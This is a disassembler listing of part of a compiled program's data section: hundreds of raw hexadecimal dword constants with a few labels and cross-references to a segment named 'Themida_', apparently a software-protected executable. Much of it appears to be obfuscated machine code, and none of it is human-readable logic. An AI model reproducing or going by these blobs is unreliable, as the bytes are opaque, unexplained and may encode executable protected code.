		dd 0B797DC29h, 8666ABFCh, 563679CBh, 0CF21D5ABh, 0A6F1AC8Ch
		dd 72C27D5Dh, 44904B2Bh, 0B3991DFDh, 1DACB298h,	0F40431E7h
		dd 3D9FAA5h, 0A9D4AB08h, 0CA115D8Dh, 81C41603h,	539AE6A1h
		dd 0C539F8Ch, 49819CEEh, 0C0E123CCh, 555732A2h,	0C8EEAFBCh
		dd 80CFBC9Dh, 0EB143651h, 0B1D7E123h, 75C5B279h, 0EB1D2D48h
		dd 0A8CEE123h, 70BCA970h, 47626229h, 0E123EB03h, 12EEBAE0h
		dd 0C39F6BF4h, 0B6FD49A5h, 84CB1BD6h, 8FD82766h, 5FAF6A64h
		dd 19645118h, 0D01C09D0h, 84D5C289h, 3583783Fh,	286FBB17h
		dd 385616F0h, 27458CDCh, 98BDA3D8h, 0D702E63Ah,	8FD622DDh
		dd 0C6041F71h, 0A5E12391h, 0AA73547Fh, 0E12391DDh, 142603Ah
		dd 3628EA30h, 6E50h, 115D1E00h,	5863ACF7h, 0C188C009h
		dd 0EA3382C1h, 0DDDE0923h, 0E123CC93h, 0B26786Ch, 0E123CC3Fh
		dd 3D5B86ACh, 8C53DE1Fh, 12D3628h, 0FB000000h, 74BB0B4Ah
		dd 436893ADh, 458CD8F4h, 0E59647Eh, 0ACE4FEC5h,	8DA9F8E5h
		dd 1933FA41h, 0DC2D1AE1h, 0EF3A7997h, 0AD9A7BA6h, 67541B60h
		dd 600ED51Ah, 11DD6684h, 6CBB1735h, 3C884323h, 5D6315F5h
		dd 63A8F50Bh, 2564642Bh, 0AEC88FD4h, 0E30F5E83h, 145F2FAAh
		dd 0CFEA04CBh, 467E2AA6h, 0CAE8DE7Fh, 0F9D91C6Eh, 5A9FEC2Bh
		dd 77BE0A2Fh, 88CD1A59h, 9B7CA7C1h, 551C61AEh, 0D3143240h
		dd 3629236Eh, 6E12h
		dd 0B5DE000h, 0CC83C7E2h, 0CB16E123h, 639BC182h, 4A62AF9Ch
		dd 0D6F0B7FEh, 6F3679CBh, 0A8561D55h, 52AECCh, 8D5499EAh
		dd 8D5B3B73h, 0CC2A203Bh, 93B9E123h, 0C8F14368h, 23CC9DADh
		dd 0E4454EE1h, 9FE45526h, 1C80038h, 0B77EC314h,	357694A2h
		dd 3628E60Ch, 3474h, 9BE72600h,	5D0D2954h, 1401C80Bh, 0C1B67DC4h
		dd 0A7F95573h, 5DD28464h, 35FEC50Eh, 0E123CC68h, 8ECFEDC7h
		dd 36288CA3h, 8DDh, 1508F00h, 0ACD7F1B8h, 0CB105D90h, 84CB1704h
		dd 234101BDh, 55357AC7h, 0CEFD4887h, 23CC97B3h,	0F62E54E1h
		dd 0B0F5422Fh, 43645D78h, 25B2DBD5h, 754B9FFAh,	0C38F3C57h
		dd 635CE75Ah, 0EC06CD12h, 0B400EDB4h, 86D28D6Dh, 0E5AF783Fh
		dd 0FCE714DAh, 0D8055594h, 14DA8DBDh, 385EE7h, 0D6F41F39h
		dd 0BD0A49B8h, 6C97B178h, 96B4FB47h, 9DEF0557h,	4179935Ah
		dd 3B35607Ah, 26ED3480h, 4F98E726h, 1E436E88h, 23C48BD2h
		dd 67B30F2Dh, 91A04020h, 0EF3C5FA2h, 0EEh, 0FDD327BDh
		dd 2655A0DFh, 23CC3F0Bh, 4E86ACE1h, 0A426D87h, 5AFAFEEFh
		dd 884F75E7h, 0CD033988h, 0AD74B90Ah, 0BAE87893h, 0D8244974h
		dd 0AAF6B191h, 63AF9C63h, 0BEB4551Ch, 0B1F844A0h, 0A90031D1h
		dd 33803C5Fh, 4E000000h, 0E200DE27h, 470E51A3h,	0AFCA022Dh
		dd 0E123CD4Bh, 66ABFC3Bh, 733A603Bh, 23CCA0AAh,	4A682CE1h
		dd 73916FB8h, 23CDA258h, 0BB9BC1E1h, 75FEh, 0D327A600h
		dd 0CF96DF2Ah, 445F7DB5h, 0E75AE45Bh, 0A6935A80h, 7833135Ah
		dd 88C7E52Ch, 75B4123Ch, 0E983378Dh, 0DCA586B1h, 0E7148D95h
		dd 0B9CD1C84h, 2A8E903Dh, 63214B66h, 0F993718h,	4CA8C6E4h
		dd 0BD9B900h, 70377ACCh, 7CD02B56h, 1D6D88A6h
dword_5B308C	dd 4EE15507h, 28746128h, 0E22D1AE1h, 93E5D299h,	0DCD8950h
					; DATA XREF: Themida_:005470C9o
		dd 0CC8C66EFh, 0F2C81CAEh, 67D1B9D4h, 0EC12E76Bh, 0D3275A0Ch
		dd 0CD94D92Ah, 874E93E0h, 0DFFD356Dh, 622DC6C4h, 38FF25E7h
		dd 0D8B8FF4Bh, 0C38AD11Dh, 0E63271C3h, 0AC92B89Fh, 2B51E71Dh
		dd 0EDE7FF00h, 8561E2D1h, 78BF0B67h, 4A91DD98h,	86A2ED2Ch
		dd 8EB9F134h, 2A6FC0ADh, 0C9E7A763h, 88CF1B5Ah,	23EA317Dh
		dd 6DB9DE09h, 6D252540h, 0A0C6E4D6h, 6BBA8868h,	334D5DBCh
		dd 9DC2ED42h, 9DEC0A51h, 0A9FB49F2h, 0C1014B66h, 0E0CFB0DBh
		dd 14h,	99E22D6Ch, 718DB8D2h, 0ADC81A28h, 0E123CC9Dh, 0E1FD284Eh
		dd 0FDC4175Dh, 0B67DC410h, 6B3279C9h, 23EA337Eh, 0DAA1E436h
		dd 91589BEDh, 470E53A4h, 1C80D5Ah, 0B57CC514h, 0E28952C3h
		dd 4C281h, 0EA830000h, 24143304h, 33241431h, 685C2414h
		dd 2001h, 68241C89h, 6C80h, 52241489h, 3E60CDBAh, 8BD38906h
		dd 0C4812414h, 4, 24148B54h, 5504C483h,	89DE8956h, 6A895EF5h
		dd 148B5D08h, 0E3895324h, 4C381h, 0C3830000h, 241C8704h
		dd 2434FF5Ch, 4C4835Bh,	0F918D9E9h, 0FDB0BDFFh,	6DD08154h
		dd 30F84E3Ch, 557F12BCh, 3E651AB8h, 0FFC50306h,	0DE0D57E0h
		dd 39DA0469h, 0E4B77201h, 83DD923Ch, 6D5BF410h,	7178201h
		dd 73E39C72h, 0D2BD3072h, 43F93038h, 562DE432h,	0A7670211h
		dd 0ABA15E58h, 3E3BA877h, 2E72433Fh, 0F304EB37h, 0E966A6A6h
		dd 5BDh, 7E73A80h, 0D4B4FD4Ch, 0A787CC19h, 76569BECh, 462669BBh
		dd 0BF11A59Bh, 96E19C7Ch, 62B26D4Dh, 34803B1Bh,	0A3890DEDh
		dd 1DA94288h, 0F421E7h,	0ACCA115Dh, 0AFDA216Dh,	798FE1CEh
		dd 0C9A9E12Ah, 0BC8EA9FBh, 2FE123CCh, 6DB9DE09h, 26725F26h
		dd 3582C1DFh, 0F7E4C5F0h, 0EF415FA8h, 23CCF6D4h, 95DA2BE1h
		dd 0CDF3B4CEh, 1D13C1A2h, 1E498CDEh, 3A86E200h,	4A96D5F3h
		dd 23DED803h, 0DEAC8CD3h, 0CC59718Ch, 110AE123h, 9BB57CBFh
		dd 0C1085863h, 90B5E0FAh, 8CDBF940h, 35151424h,	0FBDC073Ah
		dd 7994C30Eh, 0E1231151h, 96B4EC12h, 0C4DF0A57h, 0E1231186h
		dd 0DC073F65h, 617F3FFBh, 8E6EB505h, 794087D3h,	2311E7B0h
		dd 0FA4C40E1h, 2311EBDFh, 2E7F78E1h, 0D00822E9h, 286987A5h
		dd 36296A09h, 7277h, 115D4500h,	6E3A03CAh, 0C9E123CCh
		dd 626883D5h, 1E123CCh,	7492B0DBh, 288CFE33h, 0FA458436h
		dd 14C86B1h, 1A000000h,	0FEC50E5Dh, 5B79C211h, 0BD84CD1Ch
		dd 0AA9778A3h, 0A7F61459h, 0EE3A46D7h, 7E9D8CA7h, 58452651h
		dd 0EFBC207h, 0BFB47BC2h, 0FECA5371h, 0AF9BB608h, 3CE1238Ch
		dd 0AFCDEB16h, 9DBB0453h, 8C1A304Bh, 0A3C9E123h, 77C37E78h
		dd 5D9E5030h, 1401C80Bh, 0C5E7CC5h, 23CCD9F1h, 39648AE1h
		dd 0A3C1B758h, 0D2B2F547h, 3279C504h, 126516Bh,	84F9BB5h
		dd 0D1EF2741h, 36FD4092h, 1010F11Ch, 783F84D1h,	0C10E335Eh
		dd 140F5E7Ch, 55D7ED24h, 544288A3h, 0FB21E123h,	0AC35A8C3h
		dd 473DEBCEh, 18263B1Ch, 5A88B9FAh, 93F83629h, 0C6000000h
		dd 1C80B5Dh, 659FC714h,	0FE925C53h, 0BD6B326Ah,	1567C3E1h
		dd 1062B4D2h, 236CD5F5h, 897096E1h, 0E1236C41h,	0CFFB1622h
		dd 9CE1236Ch, 19133E76h, 54E60C5Eh, 0A95C2529h,	81814880h
		dd 5842BF32h, 5307BD4h,	2B778FE0h, 21D1DE4h, 0E12384C8h
		dd 53D759Bh, 9E6F98E7h,	2E72EE54h, 0FF0D2203h, 3BA1A0E1h
		dd 8FE13629h, 23775674h, 0C4EF15E1h, 5C8Ah, 0ADFD3C00h
		dd 5A859F66h, 0C80B5D3Eh, 7DC41401h, 8DD4205Fh,	3E8C8162h
		dd 2F72C420h, 0E5D9D4Fh, 1C68A7C5h, 0A36AB302h,	708A5189h
		dd 12646445h, 23CCD3F7h, 321833E1h, 0B1E123CCh,	80D1CA8Bh
		dd 0D7D8033Bh, 0E123CC8Eh, 30718F69h, 36288D01h, 87Fh
		dd 0A0F23100h, 517C965Dh, 0BB0B4A35h, 8893AD74h, 112BF237h
		dd 2F74C1E6h, 58196868h, 0A54A4116h, 0A567BA6h,	0BD0FFCC3h
		dd 75C6B37Ah, 785D814Dh, 8CC44638h, 29470BC5h, 71387BCDh
		dd 85451F57h, 96BE0B67h, 6A620379h, 0AE8EC660h,	759369BDh
		dd 5A32F15Ah, 854C72E7h, 25054C98h, 0B4041E6Ah,	0CC04499Ah
		dd 0F32B70C1h, 9CED2C2Ch, 57A39057h, 0F72F4910h, 2B81CBCCh
		dd 0B018E714h, 0AED92271h, 0CA167290h, 0DA266583h, 622970C0h
		dd 0EBE51048h, 0D69DE430h, 38569DE9h, 2BFFCBE6h, 466CE714h
		dd 0FC4D3A1Bh, 864D94E4h, 706D346Ch, 0B891ECF8h, 19697481h
		dd 8D510BD2h, 1727E66Fh, 39C5C0C8h, 204BBFB1h, 3C88E402h
		dd 0BC7515F5h, 0C43C5F91h, 12Fh, 1AD32792h, 37410158h
		dd 7B99D1D1h, 5A884F60h, 37FE24E7h, 0D7B7FE4Ah,	0C289D01Ch
		dd 1E6F89D5h, 0D42512D9h, 76AEC88Fh, 3E8A773Eh,	153030F7h
		dd 0E7149035h, 3A8590B6h, 93892AF1h, 372DEC75h,	2A71BD19h
		dd 0F2A7C4Ah, 0E714903Bh, 4D5782A8h, 3C5FE8E4h,	449Ch
		dd 0BE0F4E00h, 0D91C6E79h, 0DE2792AEh, 53C7E200h, 90E123CDh
		dd 0BAFD4C6Ah, 0BD417349h, 460FF01Bh, 0E123BA04h, 5CEE0CD0h
		dd 0FC173513h, 0E123BB1Eh, 8A47274Dh, 9Fh, 708CD716h, 0FA14DB1Eh
		dd 0B6E1FBC2h, 0FDD3279Ah, 387D90DFh, 8C97B056h, 98D72961h
		dd 253F064Bh, 0CB8CF9FAh, 91B7E75Ah, 0E87BCACAh, 0C35AA1DCh
		dd 9AE60B36h, 6CB87353h, 0CE955E25h, 0CBE714CEh, 0B1F05F7Dh
		dd 3B551C5Fh, 589FEB10h, 503DEB3Ah, 30EAFCCCh, 0C61A0B05h
		dd 0C3B7D2F0h, 0C3E155ACh, 3A374174h, 9DC8E73Ch, 0D5D59CC2h
		dd 3B024B96h, 85D1F621h, 0FBBB773Eh, 21F74BDDh,	92B2E803h
		dd 1554E76Bh, 185FABC5h, 0E1DAB5E0h, 89864D96h,	215A2263h
		dd 8DC5FDF5h, 9CE5306Fh, 4AC57771h, 6A75BA0Bh, 0F30DD419h
		dd 43196DC8h, 32900A25h, 0ADD3E762h, 66ADF9E6h,	387FCB86h
		dd 4F227171h, 8F3C4879h, 80E3E702h, 5A80E71Dh, 0B0F6F722h
		dd 0A04782DBh, 0EAD45BAAh, 0FA312645h, 3793B1CFh, 9C4A4EBh
		dd 0AFAF76BDh, 15DC2570h, 99F0A018h, 0F830E954h, 1257A8CDh
		dd 0CB125E4Bh, 84CB1704h, 8261CBDh, 0C7E5A57Fh,	0F8D81F6Bh
		dd 0E3AAF13Dh, 924A94E3h, 13EC0E2Fh, 9FB980C7h,	10153C67h
		dd 0BD000000h, 79BE0B4Ah, 0CC0A405Bh, 0B3D9E123h, 5D3C2E88h
		dd 10FDC417h, 0C9B67DC4h, 7E6B3279h, 3623EA33h,	0EDDAA1E4h
		dd 0A491589Bh, 5A470E53h, 1401C80Dh, 0C3B57CC5h, 5E08950h
		dd 4, 8704E883h, 248B2404h, 0E7895724h,	4C781h,	0EF830000h
		dd 243C8704h, 2414895Ch, 4EC81h, 1C890000h, 1496BA24h
		dd 0C2816B92h, 74428A1h, 58EAB850h, 0C23174E8h,	7AD26858h
		dd 24890000h, 24048124h, 4, 4EC815Bh, 89000000h, 8B82404h
		dd 1000000h, 581089D8h,	5B2434FFh, 4C481h, 34FF0000h, 0C4815A24h
		dd 4, 0F912C5E9h, 1BF82FFFh, 6B19B848h,	0C503063Eh, 1115E0FFh
		dd 316931D4h, 499D6D75h, 7D8D6996h, 0B3736BFAh,	9F2D7C2Dh
		dd 74D4704Bh, 0F6C3018Ch, 7A514E1h, 6B634A64h, 0E1630DA1h
		dd 830125B6h, 27BB43F7h, 870D4668h, 60202C04h, 1C8527F4h
		dd 0BD15618Bh, 0B5ED6F5Ah, 0C02048F1h, 3CA53D35h, 0EAE24513h
		dd 0E17E5F88h, 0C734364Fh, 11443D0Ch, 951046DBh, 0B5DC4492h
		dd 8CC1087Ah, 6CB02F05h, 0D8913E4Eh, 1E523D91h,	7E81089h
		dd 6000000h, 0ECD6AC4Ah, 75B60425h, 8E95Eh, 0A84B0000h
		dd 0C1ED5C26h, 0C68118D7h, 5CFEh
		dd 2BF9BF0Fh, 5E8C0h, 0B23E0000h, 8B42C89Bh, 1C8B5FFAh
		dd 0CE8B6606h, 0E3D2EB81h, 9E950A6h, 16000000h,	0DEEDB39Eh
		dd 76958D37h, 4629C381h, 9E91060h, 0DC000000h, 0D221BCB5h
		dd 0E87B5528h, 0D0C4EB81h, 14E85751h, 73000000h, 395D2597h
		dd 0F22A605Bh, 0AB80F677h, 7E0C58D8h, 0FB8403Eh, 535FCBB7h
		dd 860BB966h, 0F06048Fh, 383h, 0D1C58000h, 0CE8h, 16DB6800h
		dd 0E272B4DBh, 94B09ED5h, 5E98Dh, 0D6C60000h, 5FF92816h
		dd 6604E883h, 81B262BFh, 0FFA3E0F8h, 6F850FFFh,	0E8FFFFFFh
		dd 10h,	973AFD26h, 38C3B962h, 736A02h, 0D5A45A3Fh, 6850Fh
		dd 810F0000h, 0
		dd 798D8D5Fh, 8B063E6Dh, 372A09BDh, 758D8906h, 6A063718h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0E42DC356h, 0C7C78B66h, 37119585h, 642406h
		dd 8D8B6000h, 6371221h,	5860Fh,	81660000h, 616AEEDAh, 0F8185C7h
		dd 637h, 80500000h, 0FF5EDDCCh,	370A49B5h, 0FFD68B06h
		dd 37129195h, 49BE6606h, 0FF006A14h, 37321995h,	0EBC08B06h
		dd 9ABA1018h, 986CEDA9h, 9654CCCBh, 54A1049Ch, 47C710D5h
		dd 0F4B28126h, 10EB62h,	3 dup(0)
		dd 8B000000h, 68D0FC0h,	8B000000h, 371A2595h, 0F78B6606h
		dd 1929BD83h, 75000637h, 0E1BD8309h, 6371Fh, 53501974h
		dd 2DB8C08Bh, 89000004h, 371B4185h, 0C9D8D06h, 0FF0639B1h
		dd 83585BD3h, 371FE1BDh, 17740006h, 2DB85350h, 89000004h
		dd 371B4185h, 0FB9D8D06h, 0FF0639ADh, 6A585BD3h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 3E75C351h, 0DF24650Dh, 0E9F84850h, 0Fh, 0CEDF62F5h
		dd 41AE488h, 0FA0BBC97h, 8BD098DBh, 56006AC0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 6F6FF67Ch
		dd 79B58B4Eh, 8B063717h, 3703FD8Dh, 5AD68106h, 8361DA5Eh
		dd 840F00F9h, 5Dh, 8B64D48Ah, 2C3Dh, 25B50100h,	0B063705h
		dd 46840FFFh, 29000000h, 370C09B5h, 0E83F8B06h,	12h, 582B5E17h
		dd 0D21AE229h, 0AB938873h, 0DBDEA94Dh, 11E8077Ch, 0A3000000h
		dd 7115B111h, 8C09B948h, 0E5879DEBh, 0D4E4C2C7h, 28F68166h
		dd 325E5E54h, 0E1F280C0h, 0BF0FAAF3h, 414935D1h, 6A5350h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 5AF135C3h, 0C6232CA6h, 3722B985h, 958B4706h,	63711ADh
		dd 0BE9h, 2F9E1A00h, 6507EBEEh,	526FC396h, 0FA24B468h
		dd 5EB1BE7Eh, 481394Dh,	0DC637824h, 68F0F5Dh, 89000000h
		dd 370C9585h, 39B5FF06h, 8B063723h, 370765B5h, 8DF28B06h
		dd 3A720A85h, 0D0FFFC06h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 0ACC35646h, 0C1BD0117h, 8B06371Ch, 6D8D29F1h
		dd 8906371Fh, 3725E585h, 0FE806h, 70340000h, 28EAF043h
		dd 7327DE5Dh, 542CF14Fh, 0DA816636h, 0C65E9E9Ch, 3722B985h
		dd 8B665306h, 29BF68D6h, 4815C9Ch, 0FC413D24h, 51006A2Bh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 91FD8765h, 8F1B8D35h, 39B5FFCEh, 8B063723h, 372589B5h
		dd 0F38B6606h, 720A858Dh, 8B0F063Ah, 4,	75FFBA66h, 20B59529h
		dd 0D0FF0637h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	2BC35141h, 5121AD64h, 1A844568h, 0E2E28166h, 92858DF5h
		dd 0E9063A3Bh, 11h, 0D40BA653h,	0CE572551h, 0A7EA2990h
		dd 67C8264Ch, 0CD8589D2h, 6A063707h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 6AC4C353h
		dd 0FFFF6A20h, 3707CD95h, 41493506h, 85C75350h,	6371B0Dh
		dd 1, 30CD85C7h, 637h, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0EDA99AC3h, 198F0Fh
		dd 14E90000h, 44000000h, 887ECE7Dh, 0F38389B4h,	0CFD19C19h
		dd 135270BDh, 6A00A4E7h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 2C2EC355h, 78EDFDEBh
		dd 95BD8317h, 6370Bh, 37840Fh, 11E90000h, 4B000000h, 0F60C5023h
		dd 2C18A97Fh, 0F6DDF9ADh, 0BB7801CEh, 19A9858Bh, 0A3640637h
		dd 0
		dd 5A1BD31h, 858B0637h,	6371225h, 0FDADBA66h, 0BF0FE08Bh
		dd 69BD83F6h, 63725h, 2CF850Fh,	0F6810000h, 0B77109Ah
		dd 22B985C6h, 1560637h,	372A2995h, 76C96806h, 72BA32B8h
		dd 813BCEA2h, 0BA162404h, 6A770Ch, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0B0AECBC3h, 0B70FA784h
		dd 39B5FFF1h, 89063723h, 370B09BDh, 0A858D06h, 8B063A72h
		dd 3728E995h, 89D0FF06h, 3728CDBDh, 860F9006h, 0Fh, 0AE9h
		dd 4FEBD600h, 6A274FF9h, 50207CA6h, 5D8D8990h, 8D063708h
		dd 3731BD8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 5E13C8Eh,	240C8950h, 0E8E0Fh, 81600000h
		dd 4959C2F3h, 0A9BD897Eh, 61063717h, 0DE80046Ah, 8EF36834h
		dd 34815906h, 69EF324h,	0BE959h, 693C0000h, 0C9A30436h
		dd 3FCB1988h, 69B5FF7Fh, 0BE063719h, 58039DF0h,	9509D0FFh
		dd 6370411h, 0BD8BD18Bh, 6371969h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0D1C35646h,	0A1F224B2h, 3BCBA7Ah
		dd 0B5033C7Fh, 637203Dh, 0F8C781h, 8B600000h, 3709B18Dh
		dd 159D8B06h, 6106371Dh, 202447C7h, 8B600000h, 3718BDB5h
		dd 98BD8306h, 63E6Dh, 0C7840Fh,	0C7830000h, 7C7F928h, 64696A2Eh
		dd 5A33B256h, 610447C7h, 6A006174h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8BEEC352h
		dd 3E6DA085h, 0C840F06h, 0F000000h, 68Eh, 15958B00h, 89063733h
		dd 8B660C47h, 0A4858BF0h, 0E9063E6Dh, 0Dh, 797BA4C0h, 91DAF572h
		dd 0F6D18554h, 847896Ah, 0C783D18Bh, 0B5958B28h, 0C7063732h
		dd 6F632E07h, 447C76Eh,	676966h, 11E9h,	0C835AA00h, 0F9F8FD2Ch
		dd 10097572h, 0C5C671EBh, 858B9A84h, 63E6D9Ch, 8D958B53h
		dd 5E063730h, 310C4789h, 37056185h, 98858B06h, 60063E6Dh
		dd 979C16BFh, 318D095Ah, 61063730h, 8B084789h, 6A58F2h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 358B96C3h, 0F698D1CFh, 0DA816653h, 8166A381h, 8D28D7DAh
		dd 37014D8Dh, 23CA8006h, 0D18B6691h, 0DDBE9150h, 0FF0F7EB2h
		dd 3731BDB5h, 0DD8D3106h, 6806372Dh, 0AC213EDFh, 12E85652h
		dd 5C000000h, 0E7562602h, 0D24C13B1h, 7D62B365h, 544826CCh
		dd 5A5A5E22h, 21240481h, 6A53DED1h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 4805C357h
		dd 0AB6B584Dh, 8B152925h, 371DD9B5h, 69B5FF06h,	66063719h
		dd 0D0FFD08Bh, 27C68166h, 0B8E3h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0C00B22C3h
		dd 33840Fh, 95290000h, 6372275h, 1DE1958Bh, 0B5FF0637h
		dd 637292Dh, 10E9h, 0C9ABEF00h,	3D768860h, 176D8D1Fh, 29582B5Eh
		dd 9195FFE2h, 8B063712h, 370BF5B5h, 0E9C08B06h,	0Ah, 9A8EA95Dh
		dd 33AF6225h, 0BD833DDEh, 6371929h, 83097500h, 371FE1BDh
		dd 19740006h, 0C08B5350h, 42DB8h, 5858900h, 8D06372Ah
		dd 39B1739Dh, 5BD3FF06h, 0E1BD8358h, 6371Fh, 53501774h
		dd 42DB8h, 5858900h, 8D06372Ah,	39AE149Dh, 5BD3FF06h, 53006A58h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 159A5EA4h, 0FE9578Ch, 0A7000000h, 0DF9A483Ch, 610CB1B6h
		dd 50B2652Bh, 0B70FFC45h, 60C08BF7h, 5558529h, 8B660637h
		dd 0C08B61D0h, 75B28D8Dh, 6A063Eh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 18D14FC3h, 0B58B60C4h
		dd 6371ACDh, 0F8612EB6h, 18758D89h, 6A0637h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 86D175C3h
		dd 11C19529h, 85C70637h, 6371195h, 66A4h, 67DBD8Bh, 85C70637h
		dd 6370F81h, 0
		dd 1401B589h, 0B5FF0637h, 6371CE1h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 87C35141h, 2BDBCBC5h, 9195FF27h
		dd 66063712h, 6ADE8Bh, 321995FFh
		db 37h
byte_5B4201	db 6, 8Bh, 0C0h		; DATA XREF: Themida_:0053FD20o
		dd 2A3F79EBh, 36AB86B7h, 0B9886966h, 0E1A436C9h, 5A081D5Dh
		dd 887BA07h, 0B18FA444h, 0C55D590Bh, 91CFF529h,	0E4979CF7h
		dd 0DE31CB4Bh, 0C6C7D9D3h, 2A816E43h, 44C77799h, 0F76E4185h
		dd 4DB61353h, 0F7C00186h, 97392105h, 9B5DBF9Bh,	0C49C56EDh
		dd 1F24A56Ah, 2792972Ah, 0FC68E2F7h, 0BB9F644Dh, 4BCA51F3h
		dd 78FC85C1h, 9DF547ECh, 9B7EB3A1h, 146F55F4h, 73535750h
		dd 8D35AB9Bh, 3E76B38Dh, 8B4FBB06h, 8D8913BFh, 6371875h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0A0C35747h
		dd 0B464C426h, 0D5459B75h, 68C0Fh, 858B0000h, 6370565h
		dd 119585C7h, 5B440637h, 0B6560000h, 85C75AC9h,	6370F81h
		dd 0
		dd 6E9h, 7490C300h, 0FF330579h,	371C39B5h, 49952B06h, 0FF063730h
		dd 37129195h, 0FEE38106h, 6A7E1530h, 1995FF00h
		db 32h,	37h
word_5B4302	dw 8B06h		; DATA XREF: Themida_:0053E4C4o
		dd 2F7FEBC0h, 0B5DB1D2Eh, 0D4BCF261h, 81360C10h, 329DCC22h
		dd 4B55B80Ah, 0B4972C7Ah, 0F2E02A5Eh, 6AA08A25h, 0C4E04C29h
		dd 7C1BFC6Eh, 93C4B3C7h, 0BDB3EE27h, 2D60D44Ch,	0DA614D73h
		dd 53D8FCE5h, 0E3DC2A42h, 0BC3119FEh, 0CEB7629Dh, 4A4DB230h
		dd 7DD362A1h, 9B3FAB3h,	0F6F8E436h, 0ECA5A2F3h,	4FE57FE2h
		dd 0ED646B53h, 4B1FCB39h, 0C61C3944h, 732E6D9Ah, 0BA590E04h
		dd 251AE799h, 1C0AFEE2h, 9E8C909h, 55000000h, 9FC0193Fh
		dd 0E6318367h, 0BA58DE8Bh, 41B3DE68h, 5EAFC081h, 95890000h
		dd 6370CE5h, 178AB9h, 8BD18A00h, 0B5B53338h, 8106371Fh
		dd 8829DCC7h, 0D7BF0F11h, 6825EF81h, 0BF0F0091h, 34F781DBh
		dd 8B7794BCh, 3704A99Dh, 8F5706h, 44F28166h, 2E88377h
		dd 1B18D89h, 48480637h,	49DAB70Fh, 16850Fh, 9D8B0000h
		dd 63704E1h, 19E9h, 0D581D300h,	1C3671BBh, 9AF01375h, 0FFA1E9F5h
		dd 333EFFFFh, 72A8573Fh, 0C08B164Eh, 180h dup(0)
		dd 8B0F0000h, 1, 18D0FF8h, 0F5000000h, 50006A9Dh, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 0A3D4CD55h, 1BB4559h, 0FE9F9A3h, 3D000000h, 8459307Bh
		dd 0EFD5DDBEh, 20D8A3C5h, 6A61A366h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 72FAC353h
		dd 0F2C6C4F8h, 0F98089Bh, 78Dh,	0FE8B6000h, 61CA8B66h
		dd 4401F55Dh, 6A0824h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0E1FD97C3h, 18439874h, 6A58F976h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0CE94C352h, 0FC39DF9h, 783h, 66F56000h, 613E24BAh
		dd 16850Fh, 810F0000h, 10h, 0BE9h, 22D8900h, 0F3C8B28Dh
		dd 5D1B24Ch, 1C8C0FFCh,	60000000h, 0E8B2F180h, 11h, 6F8C4DB4h
		dd 0A14E57A5h, 68524FFEh, 6476914Ch, 8B615F4Eh,	38A0FC0h
		dd 52000000h, 0F605AF8h, 8C0FF7BFh, 2, 0E9615E51h, 13h
		dd 752260E3h, 7EA38339h, 91A30C0Bh, 0D21D2F63h,	8038634Ch
		dd 0B70FD9DFh, 14E8C3h,	19CA0000h, 88B479E5h, 5082E01Ah
		dd 0F2A5B0F5h, 9E853B38h, 14BEEC20h, 590C3CCDh,	0CFCF8151h
		dd 5A2A2702h, 52F8B70Fh, 58C68B66h, 13E9h, 9B3D5A00h, 0F948318Dh
		dd 0A14FA3A2h, 63C3EA2Dh, 0C22879A1h, 1DC78166h, 0C3B70F67h
		dd 0C78B66F9h, 9DD08166h, 0B0CE8BFAh, 0C88B660Ch, 5AFC51F9h
		dd 0D20693B8h, 14E900h,	0E1100000h, 5AA43191h, 0C721CB5Bh
		dd 0B62E9DEh, 517E4930h, 860FFB2Fh, 2, 860FD98Bh, 3, 66D1B70Fh
		dd 0FCF1BBAh, 28Ah, 605CB300h, 0FE28166h, 43F7BB7Bh, 8161053Dh
		dd 9458EAC1h, 8E848h, 0E0460000h, 0C89BB23Eh, 81584142h
		dd 491DF4C1h, 0DE948h, 0FCA20000h, 5BFB004Fh, 0D2DDBDCAh
		dd 664EF80Ch, 0B4B4DE81h, 0DAADB9F5h, 0E28113F9h, 21B00525h
		dd 2840Fh, 0BFB50000h, 850Fh, 0F9560000h, 2890F59h, 8B000000h
		dd 5097B9F3h, 0D9801D54h, 8A0F608Ah, 13h, 0EE9h, 0C9FC0400h
		dd 33791A93h, 0B89965E0h, 81684AFAh, 58D63ED3h,	0BE666127h
		dd 6E8169Bh, 23000000h,	0C29E97C6h, 0CAB70F95h,	0C2BF0F58h
		dd 0E88169B5h, 4A897F9Ch, 13E9h, 2A32FD00h, 0AD6136ACh
